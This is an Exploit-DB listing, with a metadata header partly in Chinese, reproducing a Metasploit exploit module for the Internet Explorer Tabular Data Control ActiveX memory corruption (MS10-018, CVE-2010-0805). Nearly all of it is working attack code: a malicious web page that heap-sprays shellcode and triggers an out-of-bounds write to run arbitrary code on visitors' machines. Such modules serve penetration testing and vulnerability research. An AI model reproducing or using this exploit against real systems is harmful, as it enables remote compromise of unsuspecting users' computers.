标题: Microsoft Internet Explorer - Tabular Data Control ActiveX Memory Corruption (MS10-018) (Metasploit) EDB-ID: 16567 CVE: 2010-0805 类型: REMOTE 平台: WINDOWS 发布日期: 2010-04-30 漏洞利用脚本: ##
# $Id: ms10_018_ie_tabular_activex.rb 9179 2010-04-30 08:40:19Z jduck $
##

##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# http://metasploit.com/framework/
##

require 'msf/core'

class Metasploit3 < Msf::Exploit::Remote
 Rank = GoodRanking

 include Msf::Exploit::Remote::HttpServer::HTML

 def initialize(info = {})
  super(update_info(info,
   'Name'           => 'Internet Explorer Tabular Data Control ActiveX Memory Corruption',
   'Description'    => %q{
     This module exploits a memory corruption vulnerability in the Internet Explorer
    Tabular Data ActiveX Control. Microsoft reports that version 5.01 and 6 of Internet
    Explorer are vulnerable.

    By specifying a long value as the "DataURL" parameter to this control, it is possible
    to write a NUL byte outside the bounds of an array. By targeting control flow data
    on the stack, an attacker can execute arbitrary code.
   },
   'License'        => MSF_LICENSE,
   'Author'         =>
    [
     'Anonymous',  # original discovery
     'jduck'       # metasploit version
    ],
   'Version'        => '$Revision: 9179 $',
   'References'     =>
    [
     [ 'CVE', '2010-0805' ],
     [ 'OSVDB', '63329' ],
     [ 'BID', '39025' ],
     [ 'URL', 'http://www.zerodayinitiative.com/advisories/ZDI-10-034' ],
     [ 'MSB', 'MS10-018' ]
    ],
   'DefaultOptions' =>
    {
     'EXITFUNC' => 'process',
     'InitialAutoRunScript' => 'migrate -f',
    },
   'Payload'        =>
    {
     'Space'         => 1024,
     'BadChars'      => "", #"\x00\x09\x0a\x0d'\\",
     'StackAdjustment' => -3500,
    },
   'Platform'       => 'win',
   'Targets'        =>
    [
     [ 'Automatic (Heap Spray)',
      {
       'Ret' => 0x0c0c0c0c
      }
     ],
    ],
   'DisclosureDate' => 'Mar 09 2010',
   'DefaultTarget'  => 0))
 end


 def on_request_uri(cli, request)

  # Re-generate the payload
  return if ((p = regenerate_payload(cli)) == nil)

  print_status("Sending #{self.name} to #{cli.peerhost}:#{cli.peerport} (target: #{target.name})...")

  # Encode the shellcode
  shellcode = Rex::Text.to_unescape(payload.encoded, Rex::Arch.endian(target.arch))

  # Set the return\nops
  ret       = Rex::Text.to_unescape([target.ret].pack('V'))

  # ActiveX parameters
  #progid =
  clsid = "333C7BC4-460F-11D0-BC04-0080C7055A83"

  # exploit url
  url = "http://"
  #url << rand_text_alphanumeric(258)
  url << rand_text_alphanumeric(258+0x116+2)

  # Construct the final page
  var_unescape   = rand_text_alpha(rand(100) + 1)
  var_shellcode  = rand_text_alpha(rand(100) + 1)
  var_memory     = rand_text_alpha(rand(100) + 1)
  var_spray      = rand_text_alpha(rand(100) + 1)
  var_i          = rand_text_alpha(rand(100) + 1)

  html = %Q|<html><body>
<script>
var #{var_memory} = new Array();
var #{var_unescape} = unescape;
var #{var_shellcode} = #{var_unescape}( '#{Rex::Text.to_unescape(regenerate_payload(cli).encoded)}');
var #{var_spray} = #{var_unescape}("#{ret * 2}");
do { #{var_spray} += #{var_spray} } while( #{var_spray}.length < 0x4000 );
for (#{var_i} = 0; #{var_i} < 150; #{var_i}++) #{var_memory}[#{var_i}] = #{var_spray} + #{var_shellcode};
</script>
<object classid='clsid:#{clsid}'>
<param name='DataURL' value='#{url}'/>
</object>
</body></html>
|

  # Transmit the compressed response to the client
  send_response(cli, html, { 'Content-Type' => 'text/html' })

  # Handle the payload
  handler(cli)

 end

end URL: https://www.exploit-db.com/exploits/16567